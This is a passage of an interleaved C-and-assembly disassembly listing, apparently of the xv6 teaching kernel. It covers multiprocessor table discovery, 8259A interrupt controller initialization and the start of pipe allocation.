801039ce: 83 ec 10 sub $0x10,%esp
int i, sum;
sum = 0;
801039d1: c7 45 f8 00 00 00 00 movl $0x0,-0x8(%ebp)
for(i=0; i<len; i++)
801039d8: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
801039df: eb 13 jmp 801039f4 <sum+0x29>
sum += addr[i];
801039e1: 8b 55 fc mov -0x4(%ebp),%edx
801039e4: 8b 45 08 mov 0x8(%ebp),%eax
801039e7: 01 d0 add %edx,%eax
801039e9: 8a 00 mov (%eax),%al
801039eb: 0f b6 c0 movzbl %al,%eax
801039ee: 01 45 f8 add %eax,-0x8(%ebp)
sum(uchar *addr, int len)
{
int i, sum;
sum = 0;
for(i=0; i<len; i++)
801039f1: ff 45 fc incl -0x4(%ebp)
801039f4: 8b 45 fc mov -0x4(%ebp),%eax
801039f7: 3b 45 0c cmp 0xc(%ebp),%eax
801039fa: 7c e5 jl 801039e1 <sum+0x16>
sum += addr[i];
return sum;
801039fc: 8b 45 f8 mov -0x8(%ebp),%eax
}
801039ff: c9 leave
80103a00: c3 ret
80103a01 <mpsearch1>:
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
80103a01: 55 push %ebp
80103a02: 89 e5 mov %esp,%ebp
80103a04: 83 ec 28 sub $0x28,%esp
uchar *e, *p, *addr;
addr = P2V(a);
80103a07: 8b 45 08 mov 0x8(%ebp),%eax
80103a0a: 05 00 00 00 80 add $0x80000000,%eax
80103a0f: 89 45 f0 mov %eax,-0x10(%ebp)
e = addr+len;
80103a12: 8b 55 0c mov 0xc(%ebp),%edx
80103a15: 8b 45 f0 mov -0x10(%ebp),%eax
80103a18: 01 d0 add %edx,%eax
80103a1a: 89 45 ec mov %eax,-0x14(%ebp)
for(p = addr; p < e; p += sizeof(struct mp))
80103a1d: 8b 45 f0 mov -0x10(%ebp),%eax
80103a20: 89 45 f4 mov %eax,-0xc(%ebp)
80103a23: eb 3f jmp 80103a64 <mpsearch1+0x63>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
80103a25: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
80103a2c: 00
80103a2d: c7 44 24 04 4c 88 10 movl $0x8010884c,0x4(%esp)
80103a34: 80
80103a35: 8b 45 f4 mov -0xc(%ebp),%eax
80103a38: 89 04 24 mov %eax,(%esp)
80103a3b: e8 c1 17 00 00 call 80105201 <memcmp>
80103a40: 85 c0 test %eax,%eax
80103a42: 75 1c jne 80103a60 <mpsearch1+0x5f>
80103a44: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp)
80103a4b: 00
80103a4c: 8b 45 f4 mov -0xc(%ebp),%eax
80103a4f: 89 04 24 mov %eax,(%esp)
80103a52: e8 74 ff ff ff call 801039cb <sum>
80103a57: 84 c0 test %al,%al
80103a59: 75 05 jne 80103a60 <mpsearch1+0x5f>
return (struct mp*)p;
80103a5b: 8b 45 f4 mov -0xc(%ebp),%eax
80103a5e: eb 11 jmp 80103a71 <mpsearch1+0x70>
{
uchar *e, *p, *addr;
addr = P2V(a);
e = addr+len;
for(p = addr; p < e; p += sizeof(struct mp))
80103a60: 83 45 f4 10 addl $0x10,-0xc(%ebp)
80103a64: 8b 45 f4 mov -0xc(%ebp),%eax
80103a67: 3b 45 ec cmp -0x14(%ebp),%eax
80103a6a: 72 b9 jb 80103a25 <mpsearch1+0x24>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
return (struct mp*)p;
return 0;
80103a6c: b8 00 00 00 00 mov $0x0,%eax
}
80103a71: c9 leave
80103a72: c3 ret
80103a73 <mpsearch>:
// 1) in the first KB of the EBDA;
// 2) in the last KB of system base memory;
// 3) in the BIOS ROM between 0xE0000 and 0xFFFFF.
static struct mp*
mpsearch(void)
{
80103a73: 55 push %ebp
80103a74: 89 e5 mov %esp,%ebp
80103a76: 83 ec 28 sub $0x28,%esp
uchar *bda;
uint p;
struct mp *mp;
bda = (uchar *) P2V(0x400);
80103a79: c7 45 f4 00 04 00 80 movl $0x80000400,-0xc(%ebp)
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
80103a80: 8b 45 f4 mov -0xc(%ebp),%eax
80103a83: 83 c0 0f add $0xf,%eax
80103a86: 8a 00 mov (%eax),%al
80103a88: 0f b6 c0 movzbl %al,%eax
80103a8b: c1 e0 08 shl $0x8,%eax
80103a8e: 89 c2 mov %eax,%edx
80103a90: 8b 45 f4 mov -0xc(%ebp),%eax
80103a93: 83 c0 0e add $0xe,%eax
80103a96: 8a 00 mov (%eax),%al
80103a98: 0f b6 c0 movzbl %al,%eax
80103a9b: 09 d0 or %edx,%eax
80103a9d: c1 e0 04 shl $0x4,%eax
80103aa0: 89 45 f0 mov %eax,-0x10(%ebp)
80103aa3: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80103aa7: 74 21 je 80103aca <mpsearch+0x57>
if((mp = mpsearch1(p, 1024)))
80103aa9: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80103ab0: 00
80103ab1: 8b 45 f0 mov -0x10(%ebp),%eax
80103ab4: 89 04 24 mov %eax,(%esp)
80103ab7: e8 45 ff ff ff call 80103a01 <mpsearch1>
80103abc: 89 45 ec mov %eax,-0x14(%ebp)
80103abf: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80103ac3: 74 4e je 80103b13 <mpsearch+0xa0>
return mp;
80103ac5: 8b 45 ec mov -0x14(%ebp),%eax
80103ac8: eb 5d jmp 80103b27 <mpsearch+0xb4>
} else {
p = ((bda[0x14]<<8)|bda[0x13])*1024;
80103aca: 8b 45 f4 mov -0xc(%ebp),%eax
80103acd: 83 c0 14 add $0x14,%eax
80103ad0: 8a 00 mov (%eax),%al
80103ad2: 0f b6 c0 movzbl %al,%eax
80103ad5: c1 e0 08 shl $0x8,%eax
80103ad8: 89 c2 mov %eax,%edx
80103ada: 8b 45 f4 mov -0xc(%ebp),%eax
80103add: 83 c0 13 add $0x13,%eax
80103ae0: 8a 00 mov (%eax),%al
80103ae2: 0f b6 c0 movzbl %al,%eax
80103ae5: 09 d0 or %edx,%eax
80103ae7: c1 e0 0a shl $0xa,%eax
80103aea: 89 45 f0 mov %eax,-0x10(%ebp)
if((mp = mpsearch1(p-1024, 1024)))
80103aed: 8b 45 f0 mov -0x10(%ebp),%eax
80103af0: 2d 00 04 00 00 sub $0x400,%eax
80103af5: c7 44 24 04 00 04 00 movl $0x400,0x4(%esp)
80103afc: 00
80103afd: 89 04 24 mov %eax,(%esp)
80103b00: e8 fc fe ff ff call 80103a01 <mpsearch1>
80103b05: 89 45 ec mov %eax,-0x14(%ebp)
80103b08: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
80103b0c: 74 05 je 80103b13 <mpsearch+0xa0>
return mp;
80103b0e: 8b 45 ec mov -0x14(%ebp),%eax
80103b11: eb 14 jmp 80103b27 <mpsearch+0xb4>
}
return mpsearch1(0xF0000, 0x10000);
80103b13: c7 44 24 04 00 00 01 movl $0x10000,0x4(%esp)
80103b1a: 00
80103b1b: c7 04 24 00 00 0f 00 movl $0xf0000,(%esp)
80103b22: e8 da fe ff ff call 80103a01 <mpsearch1>
}
80103b27: c9 leave
80103b28: c3 ret
80103b29 <mpconfig>:
// Check for correct signature, calculate the checksum and,
// if correct, check the version.
// To do: check extended table checksum.
static struct mpconf*
mpconfig(struct mp **pmp)
{
80103b29: 55 push %ebp
80103b2a: 89 e5 mov %esp,%ebp
80103b2c: 83 ec 28 sub $0x28,%esp
struct mpconf *conf;
struct mp *mp;
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80103b2f: e8 3f ff ff ff call 80103a73 <mpsearch>
80103b34: 89 45 f4 mov %eax,-0xc(%ebp)
80103b37: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80103b3b: 74 0a je 80103b47 <mpconfig+0x1e>
80103b3d: 8b 45 f4 mov -0xc(%ebp),%eax
80103b40: 8b 40 04 mov 0x4(%eax),%eax
80103b43: 85 c0 test %eax,%eax
80103b45: 75 07 jne 80103b4e <mpconfig+0x25>
return 0;
80103b47: b8 00 00 00 00 mov $0x0,%eax
80103b4c: eb 7d jmp 80103bcb <mpconfig+0xa2>
conf = (struct mpconf*) P2V((uint) mp->physaddr);
80103b4e: 8b 45 f4 mov -0xc(%ebp),%eax
80103b51: 8b 40 04 mov 0x4(%eax),%eax
80103b54: 05 00 00 00 80 add $0x80000000,%eax
80103b59: 89 45 f0 mov %eax,-0x10(%ebp)
if(memcmp(conf, "PCMP", 4) != 0)
80103b5c: c7 44 24 08 04 00 00 movl $0x4,0x8(%esp)
80103b63: 00
80103b64: c7 44 24 04 51 88 10 movl $0x80108851,0x4(%esp)
80103b6b: 80
80103b6c: 8b 45 f0 mov -0x10(%ebp),%eax
80103b6f: 89 04 24 mov %eax,(%esp)
80103b72: e8 8a 16 00 00 call 80105201 <memcmp>
80103b77: 85 c0 test %eax,%eax
80103b79: 74 07 je 80103b82 <mpconfig+0x59>
return 0;
80103b7b: b8 00 00 00 00 mov $0x0,%eax
80103b80: eb 49 jmp 80103bcb <mpconfig+0xa2>
if(conf->version != 1 && conf->version != 4)
80103b82: 8b 45 f0 mov -0x10(%ebp),%eax
80103b85: 8a 40 06 mov 0x6(%eax),%al
80103b88: 3c 01 cmp $0x1,%al
80103b8a: 74 11 je 80103b9d <mpconfig+0x74>
80103b8c: 8b 45 f0 mov -0x10(%ebp),%eax
80103b8f: 8a 40 06 mov 0x6(%eax),%al
80103b92: 3c 04 cmp $0x4,%al
80103b94: 74 07 je 80103b9d <mpconfig+0x74>
return 0;
80103b96: b8 00 00 00 00 mov $0x0,%eax
80103b9b: eb 2e jmp 80103bcb <mpconfig+0xa2>
if(sum((uchar*)conf, conf->length) != 0)
80103b9d: 8b 45 f0 mov -0x10(%ebp),%eax
80103ba0: 8b 40 04 mov 0x4(%eax),%eax
80103ba3: 0f b7 c0 movzwl %ax,%eax
80103ba6: 89 44 24 04 mov %eax,0x4(%esp)
80103baa: 8b 45 f0 mov -0x10(%ebp),%eax
80103bad: 89 04 24 mov %eax,(%esp)
80103bb0: e8 16 fe ff ff call 801039cb <sum>
80103bb5: 84 c0 test %al,%al
80103bb7: 74 07 je 80103bc0 <mpconfig+0x97>
return 0;
80103bb9: b8 00 00 00 00 mov $0x0,%eax
80103bbe: eb 0b jmp 80103bcb <mpconfig+0xa2>
*pmp = mp;
80103bc0: 8b 45 08 mov 0x8(%ebp),%eax
80103bc3: 8b 55 f4 mov -0xc(%ebp),%edx
80103bc6: 89 10 mov %edx,(%eax)
return conf;
80103bc8: 8b 45 f0 mov -0x10(%ebp),%eax
}
80103bcb: c9 leave
80103bcc: c3 ret
80103bcd <mpinit>:
void
mpinit(void)
{
80103bcd: 55 push %ebp
80103bce: 89 e5 mov %esp,%ebp
80103bd0: 53 push %ebx
80103bd1: 83 ec 34 sub $0x34,%esp
struct mp *mp;
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
if((conf = mpconfig(&mp)) == 0)
80103bd4: 8d 45 e0 lea -0x20(%ebp),%eax
80103bd7: 89 04 24 mov %eax,(%esp)
80103bda: e8 4a ff ff ff call 80103b29 <mpconfig>
80103bdf: 89 45 f0 mov %eax,-0x10(%ebp)
80103be2: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80103be6: 75 05 jne 80103bed <mpinit+0x20>
return;
80103be8: e9 2c 01 00 00 jmp 80103d19 <mpinit+0x14c>
ismp = 1;
80103bed: c7 05 24 38 11 80 01 movl $0x1,0x80113824
80103bf4: 00 00 00
lapic = (uint*)conf->lapicaddr;
80103bf7: 8b 45 f0 mov -0x10(%ebp),%eax
80103bfa: 8b 40 24 mov 0x24(%eax),%eax
80103bfd: a3 3c 37 11 80 mov %eax,0x8011373c
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80103c02: 8b 45 f0 mov -0x10(%ebp),%eax
80103c05: 83 c0 2c add $0x2c,%eax
80103c08: 89 45 f4 mov %eax,-0xc(%ebp)
80103c0b: 8b 45 f0 mov -0x10(%ebp),%eax
80103c0e: 8b 40 04 mov 0x4(%eax),%eax
80103c11: 0f b7 d0 movzwl %ax,%edx
80103c14: 8b 45 f0 mov -0x10(%ebp),%eax
80103c17: 01 d0 add %edx,%eax
80103c19: 89 45 ec mov %eax,-0x14(%ebp)
80103c1c: e9 86 00 00 00 jmp 80103ca7 <mpinit+0xda>
switch(*p){
80103c21: 8b 45 f4 mov -0xc(%ebp),%eax
80103c24: 8a 00 mov (%eax),%al
80103c26: 0f b6 c0 movzbl %al,%eax
80103c29: 83 f8 04 cmp $0x4,%eax
80103c2c: 77 6e ja 80103c9c <mpinit+0xcf>
80103c2e: 8b 04 85 58 88 10 80 mov -0x7fef77a8(,%eax,4),%eax
80103c35: ff e0 jmp *%eax
case MPPROC:
proc = (struct mpproc*)p;
80103c37: 8b 45 f4 mov -0xc(%ebp),%eax
80103c3a: 89 45 e8 mov %eax,-0x18(%ebp)
if(ncpu < NCPU) {
80103c3d: a1 20 3e 11 80 mov 0x80113e20,%eax
80103c42: 83 f8 07 cmp $0x7,%eax
80103c45: 7f 32 jg 80103c79 <mpinit+0xac>
cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu
80103c47: 8b 15 20 3e 11 80 mov 0x80113e20,%edx
80103c4d: 8b 45 e8 mov -0x18(%ebp),%eax
80103c50: 8a 48 01 mov 0x1(%eax),%cl
80103c53: 89 d0 mov %edx,%eax
80103c55: c1 e0 02 shl $0x2,%eax
80103c58: 01 d0 add %edx,%eax
80103c5a: 01 c0 add %eax,%eax
80103c5c: 01 d0 add %edx,%eax
80103c5e: 89 c3 mov %eax,%ebx
80103c60: c1 e3 04 shl $0x4,%ebx
80103c63: 01 d8 add %ebx,%eax
80103c65: 01 d0 add %edx,%eax
80103c67: 05 40 38 11 80 add $0x80113840,%eax
80103c6c: 88 08 mov %cl,(%eax)
ncpu++;
80103c6e: a1 20 3e 11 80 mov 0x80113e20,%eax
80103c73: 40 inc %eax
80103c74: a3 20 3e 11 80 mov %eax,0x80113e20
}
p += sizeof(struct mpproc);
80103c79: 83 45 f4 14 addl $0x14,-0xc(%ebp)
continue;
80103c7d: eb 28 jmp 80103ca7 <mpinit+0xda>
case MPIOAPIC:
ioapic = (struct mpioapic*)p;
80103c7f: 8b 45 f4 mov -0xc(%ebp),%eax
80103c82: 89 45 e4 mov %eax,-0x1c(%ebp)
ioapicid = ioapic->apicno;
80103c85: 8b 45 e4 mov -0x1c(%ebp),%eax
80103c88: 8a 40 01 mov 0x1(%eax),%al
80103c8b: a2 20 38 11 80 mov %al,0x80113820
p += sizeof(struct mpioapic);
80103c90: 83 45 f4 08 addl $0x8,-0xc(%ebp)
continue;
80103c94: eb 11 jmp 80103ca7 <mpinit+0xda>
case MPBUS:
case MPIOINTR:
case MPLINTR:
p += 8;
80103c96: 83 45 f4 08 addl $0x8,-0xc(%ebp)
continue;
80103c9a: eb 0b jmp 80103ca7 <mpinit+0xda>
default:
ismp = 0;
80103c9c: c7 05 24 38 11 80 00 movl $0x0,0x80113824
80103ca3: 00 00 00
break;
80103ca6: 90 nop
if((conf = mpconfig(&mp)) == 0)
return;
ismp = 1;
lapic = (uint*)conf->lapicaddr;
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80103ca7: 8b 45 f4 mov -0xc(%ebp),%eax
80103caa: 3b 45 ec cmp -0x14(%ebp),%eax
80103cad: 0f 82 6e ff ff ff jb 80103c21 <mpinit+0x54>
default:
ismp = 0;
break;
}
}
if(!ismp){
80103cb3: a1 24 38 11 80 mov 0x80113824,%eax
80103cb8: 85 c0 test %eax,%eax
80103cba: 75 1d jne 80103cd9 <mpinit+0x10c>
// Didn't like what we found; fall back to no MP.
ncpu = 1;
80103cbc: c7 05 20 3e 11 80 01 movl $0x1,0x80113e20
80103cc3: 00 00 00
lapic = 0;
80103cc6: c7 05 3c 37 11 80 00 movl $0x0,0x8011373c
80103ccd: 00 00 00
ioapicid = 0;
80103cd0: c6 05 20 38 11 80 00 movb $0x0,0x80113820
return;
80103cd7: eb 40 jmp 80103d19 <mpinit+0x14c>
}
if(mp->imcrp){
80103cd9: 8b 45 e0 mov -0x20(%ebp),%eax
80103cdc: 8a 40 0c mov 0xc(%eax),%al
80103cdf: 84 c0 test %al,%al
80103ce1: 74 36 je 80103d19 <mpinit+0x14c>
// Bochs doesn't support IMCR, so this doesn't run on Bochs.
// But it would on real hardware.
outb(0x22, 0x70); // Select IMCR
80103ce3: c7 44 24 04 70 00 00 movl $0x70,0x4(%esp)
80103cea: 00
80103ceb: c7 04 24 22 00 00 00 movl $0x22,(%esp)
80103cf2: e8 b8 fc ff ff call 801039af <outb>
outb(0x23, inb(0x23) | 1); // Mask external interrupts.
80103cf7: c7 04 24 23 00 00 00 movl $0x23,(%esp)
80103cfe: e8 91 fc ff ff call 80103994 <inb>
80103d03: 83 c8 01 or $0x1,%eax
80103d06: 0f b6 c0 movzbl %al,%eax
80103d09: 89 44 24 04 mov %eax,0x4(%esp)
80103d0d: c7 04 24 23 00 00 00 movl $0x23,(%esp)
80103d14: e8 96 fc ff ff call 801039af <outb>
}
}
80103d19: 83 c4 34 add $0x34,%esp
80103d1c: 5b pop %ebx
80103d1d: 5d pop %ebp
80103d1e: c3 ret
...
80103d20 <outb>:
"memory", "cc");
}
static inline void
outb(ushort port, uchar data)
{
80103d20: 55 push %ebp
80103d21: 89 e5 mov %esp,%ebp
80103d23: 83 ec 08 sub $0x8,%esp
80103d26: 8b 45 08 mov 0x8(%ebp),%eax
80103d29: 8b 55 0c mov 0xc(%ebp),%edx
80103d2c: 66 89 45 fc mov %ax,-0x4(%ebp)
80103d30: 88 55 f8 mov %dl,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80103d33: 8a 45 f8 mov -0x8(%ebp),%al
80103d36: 8b 55 fc mov -0x4(%ebp),%edx
80103d39: ee out %al,(%dx)
}
80103d3a: c9 leave
80103d3b: c3 ret
80103d3c <picsetmask>:
// Initial IRQ mask has interrupt 2 enabled (for slave 8259A).
static ushort irqmask = 0xFFFF & ~(1<<IRQ_SLAVE);
static void
picsetmask(ushort mask)
{
80103d3c: 55 push %ebp
80103d3d: 89 e5 mov %esp,%ebp
80103d3f: 83 ec 0c sub $0xc,%esp
80103d42: 8b 45 08 mov 0x8(%ebp),%eax
80103d45: 66 89 45 fc mov %ax,-0x4(%ebp)
irqmask = mask;
80103d49: 8b 45 fc mov -0x4(%ebp),%eax
80103d4c: 66 a3 00 b0 10 80 mov %ax,0x8010b000
outb(IO_PIC1+1, mask);
80103d52: 8b 45 fc mov -0x4(%ebp),%eax
80103d55: 0f b6 c0 movzbl %al,%eax
80103d58: 89 44 24 04 mov %eax,0x4(%esp)
80103d5c: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103d63: e8 b8 ff ff ff call 80103d20 <outb>
outb(IO_PIC2+1, mask >> 8);
80103d68: 8b 45 fc mov -0x4(%ebp),%eax
80103d6b: 66 c1 e8 08 shr $0x8,%ax
80103d6f: 0f b6 c0 movzbl %al,%eax
80103d72: 89 44 24 04 mov %eax,0x4(%esp)
80103d76: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103d7d: e8 9e ff ff ff call 80103d20 <outb>
}
80103d82: c9 leave
80103d83: c3 ret
80103d84 <picenable>:
void
picenable(int irq)
{
80103d84: 55 push %ebp
80103d85: 89 e5 mov %esp,%ebp
80103d87: 83 ec 04 sub $0x4,%esp
picsetmask(irqmask & ~(1<<irq));
80103d8a: 8b 45 08 mov 0x8(%ebp),%eax
80103d8d: ba 01 00 00 00 mov $0x1,%edx
80103d92: 88 c1 mov %al,%cl
80103d94: d3 e2 shl %cl,%edx
80103d96: 89 d0 mov %edx,%eax
80103d98: f7 d0 not %eax
80103d9a: 89 c2 mov %eax,%edx
80103d9c: 66 a1 00 b0 10 80 mov 0x8010b000,%ax
80103da2: 21 d0 and %edx,%eax
80103da4: 0f b7 c0 movzwl %ax,%eax
80103da7: 89 04 24 mov %eax,(%esp)
80103daa: e8 8d ff ff ff call 80103d3c <picsetmask>
}
80103daf: c9 leave
80103db0: c3 ret
80103db1 <picinit>:
// Initialize the 8259A interrupt controllers.
void
picinit(void)
{
80103db1: 55 push %ebp
80103db2: 89 e5 mov %esp,%ebp
80103db4: 83 ec 08 sub $0x8,%esp
// mask all interrupts
outb(IO_PIC1+1, 0xFF);
80103db7: c7 44 24 04 ff 00 00 movl $0xff,0x4(%esp)
80103dbe: 00
80103dbf: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103dc6: e8 55 ff ff ff call 80103d20 <outb>
outb(IO_PIC2+1, 0xFF);
80103dcb: c7 44 24 04 ff 00 00 movl $0xff,0x4(%esp)
80103dd2: 00
80103dd3: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103dda: e8 41 ff ff ff call 80103d20 <outb>
// ICW1: 0001g0hi
// g: 0 = edge triggering, 1 = level triggering
// h: 0 = cascaded PICs, 1 = master only
// i: 0 = no ICW4, 1 = ICW4 required
outb(IO_PIC1, 0x11);
80103ddf: c7 44 24 04 11 00 00 movl $0x11,0x4(%esp)
80103de6: 00
80103de7: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80103dee: e8 2d ff ff ff call 80103d20 <outb>
// ICW2: Vector offset
outb(IO_PIC1+1, T_IRQ0);
80103df3: c7 44 24 04 20 00 00 movl $0x20,0x4(%esp)
80103dfa: 00
80103dfb: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103e02: e8 19 ff ff ff call 80103d20 <outb>
// ICW3: (master PIC) bit mask of IR lines connected to slaves
// (slave PIC) 3-bit # of slave's connection to master
outb(IO_PIC1+1, 1<<IRQ_SLAVE);
80103e07: c7 44 24 04 04 00 00 movl $0x4,0x4(%esp)
80103e0e: 00
80103e0f: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103e16: e8 05 ff ff ff call 80103d20 <outb>
// m: 0 = slave PIC, 1 = master PIC
// (ignored when b is 0, as the master/slave role
// can be hardwired).
// a: 1 = Automatic EOI mode
// p: 0 = MCS-80/85 mode, 1 = intel x86 mode
outb(IO_PIC1+1, 0x3);
80103e1b: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
80103e22: 00
80103e23: c7 04 24 21 00 00 00 movl $0x21,(%esp)
80103e2a: e8 f1 fe ff ff call 80103d20 <outb>
// Set up slave (8259A-2)
outb(IO_PIC2, 0x11); // ICW1
80103e2f: c7 44 24 04 11 00 00 movl $0x11,0x4(%esp)
80103e36: 00
80103e37: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80103e3e: e8 dd fe ff ff call 80103d20 <outb>
outb(IO_PIC2+1, T_IRQ0 + 8); // ICW2
80103e43: c7 44 24 04 28 00 00 movl $0x28,0x4(%esp)
80103e4a: 00
80103e4b: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103e52: e8 c9 fe ff ff call 80103d20 <outb>
outb(IO_PIC2+1, IRQ_SLAVE); // ICW3
80103e57: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
80103e5e: 00
80103e5f: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103e66: e8 b5 fe ff ff call 80103d20 <outb>
// NB Automatic EOI mode doesn't tend to work on the slave.
// Linux source code says it's "to be investigated".
outb(IO_PIC2+1, 0x3); // ICW4
80103e6b: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
80103e72: 00
80103e73: c7 04 24 a1 00 00 00 movl $0xa1,(%esp)
80103e7a: e8 a1 fe ff ff call 80103d20 <outb>
// OCW3: 0ef01prs
// ef: 0x = NOP, 10 = clear specific mask, 11 = set specific mask
// p: 0 = no polling, 1 = polling mode
// rs: 0x = NOP, 10 = read IRR, 11 = read ISR
outb(IO_PIC1, 0x68); // clear specific mask
80103e7f: c7 44 24 04 68 00 00 movl $0x68,0x4(%esp)
80103e86: 00
80103e87: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80103e8e: e8 8d fe ff ff call 80103d20 <outb>
outb(IO_PIC1, 0x0a); // read IRR by default
80103e93: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80103e9a: 00
80103e9b: c7 04 24 20 00 00 00 movl $0x20,(%esp)
80103ea2: e8 79 fe ff ff call 80103d20 <outb>
outb(IO_PIC2, 0x68); // OCW3
80103ea7: c7 44 24 04 68 00 00 movl $0x68,0x4(%esp)
80103eae: 00
80103eaf: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80103eb6: e8 65 fe ff ff call 80103d20 <outb>
outb(IO_PIC2, 0x0a); // OCW3
80103ebb: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
80103ec2: 00
80103ec3: c7 04 24 a0 00 00 00 movl $0xa0,(%esp)
80103eca: e8 51 fe ff ff call 80103d20 <outb>
if(irqmask != 0xFFFF)
80103ecf: 66 a1 00 b0 10 80 mov 0x8010b000,%ax
80103ed5: 66 83 f8 ff cmp $0xffffffff,%ax
80103ed9: 74 11 je 80103eec <picinit+0x13b>
picsetmask(irqmask);
80103edb: 66 a1 00 b0 10 80 mov 0x8010b000,%ax
80103ee1: 0f b7 c0 movzwl %ax,%eax
80103ee4: 89 04 24 mov %eax,(%esp)
80103ee7: e8 50 fe ff ff call 80103d3c <picsetmask>
}
80103eec: c9 leave
80103eed: c3 ret
...
80103ef0 <pipealloc>:
int writeopen; // write fd is still open
};
int
pipealloc(struct file **f0, struct file **f1)
{
80103ef0: 55 push %ebp
80103ef1: 89 e5 mov %esp,%ebp
80103ef3: 83 ec 28 sub $0x28,%esp
struct pipe *p;
p = 0;
80103ef6: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
*f0 = *f1 = 0;
80103efd: 8b 45 0c mov 0xc(%ebp),%eax
80103f00: c7 00 00 00 00 00 movl $0x0,(%eax)
80103f06: 8b 45 0c mov 0xc(%ebp),%eax
80103f09: 8b 10 mov (%eax),%edx
80103f0b: 8b 45 08 mov 0x8(%ebp),%eax
80103f0e: 89 10 mov %edx,(%eax)
if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0)
80103f10: e8 47 d0 ff ff call 80100f5c <filealloc>
80103f15: 8b 55 08 mov 0x8(%ebp),%edx
80103f18: 89 02 mov %eax,(%edx)
80103f1a: 8b 45 08 mov 0x8(%ebp),%eax
80103f1d: 8b 00 mov (%eax),%eax
80103f1f: 85 c0 test %eax,%eax
80103f21: 0f 84 c8 00 00 00 je 80103fef <pipealloc+0xff>
80103f27: e8 30 d0 ff ff call 80100f5c <filealloc>
80103f2c: 8b 55 0c mov 0xc(%ebp),%edx
80103f2f: 89 02 mov %eax,(%edx)
80103f31: 8b 45 0c mov 0xc(%ebp),%eax
80103f34: 8b 00 mov (%eax),%eax
80103f36: 85 c0 test %eax,%eax
80103f38: 0f 84 b1 00 00 00 je 80103fef <pipealloc+0xff>
goto bad;
if((p = (struct pipe*)kalloc()) == 0)
80103f3e: e8 20 ec ff ff call 80102b63 <kalloc>
80103f43: 89 45 f4 mov %eax,-0xc(%ebp)
80103f46: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80103f4a: 75 05 jne 80103f51 <pipealloc+0x61>
goto bad;
80103f4c: e9 9e 00 00 00 jmp 80103fef <pipealloc+0xff>
p->readopen = 1;
80103f51: 8b 45 f4 mov -0xc(%ebp),%eax
80103f54: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax)
80103f5b: 00 00 00
p->writeopen = 1;
80103f5e: 8b 45 f4 mov -0xc(%ebp),%eax
80103f61: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax)
80103f68: 00 00 00
p->nwrite = 0;
80103f6b: 8b 45 f4 mov -0xc(%ebp),%eax
80103f6e: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax)
80103f75: 00 00 00
p->nread = 0;
80103f78: 8b 45 f4 mov -0xc(%ebp),%eax
80103f7b: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax)
80103f82: 00 00 00
initlock(&p->lock, "pipe");
80103f85: 8b 45 f4 mov -0xc(%ebp),%eax
80103f88: c7 44 24 04 6c 88 10 movl $0x8010886c,0x4(%esp)
80103f8f: 80
80103f90: 89 04 24 mov %eax,(%esp)
80103f93: e8 6e 0f 00 00 call 80104f06 <initlock>
(*f0)->type = FD_PIPE;
80103f98: 8b 45 08 mov 0x8(%ebp),%eax
80103f9b: 8b 00 mov (%eax),%eax
80103f9d: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f0)->readable = 1;
80103fa3: 8b 45 08 mov 0x8(%ebp),%eax
80103fa6: 8b 00 mov (%eax),%eax
80103fa8: c6 40 08 01 movb $0x1,0x8(%eax)
(*f0)->writable = 0;
80103fac: 8b 45 08 mov 0x8(%ebp),%eax
80103faf: 8b 00 mov (%eax),%eax
80103fb1: c6 40 09 00 movb $0x0,0x9(%eax)
(*f0)->pipe = p;
80103fb5: 8b 45 08 mov 0x8(%ebp),%eax
80103fb8: 8b 00 mov (%eax),%eax
80103fba: 8b 55 f4 mov -0xc(%ebp),%edx
80103fbd: 89 50 0c mov %edx,0xc(%eax)
(*f1)->type = FD_PIPE;
80103fc0: 8b 45 0c mov 0xc(%ebp),%eax
80103fc3: 8b 00 mov (%eax),%eax
80103fc5: c7 00 01 00 00 00 movl $0x1,(%eax)
(*f1)->readable = 0;
80103fcb: 8b 45 0c mov 0xc(%ebp),%eax
80103fce: 8b 00 mov (%eax),%eax
80103fd0: c6 40 08 00 movb $0x0,0x8(%eax)
(*f1)->writable = 1;
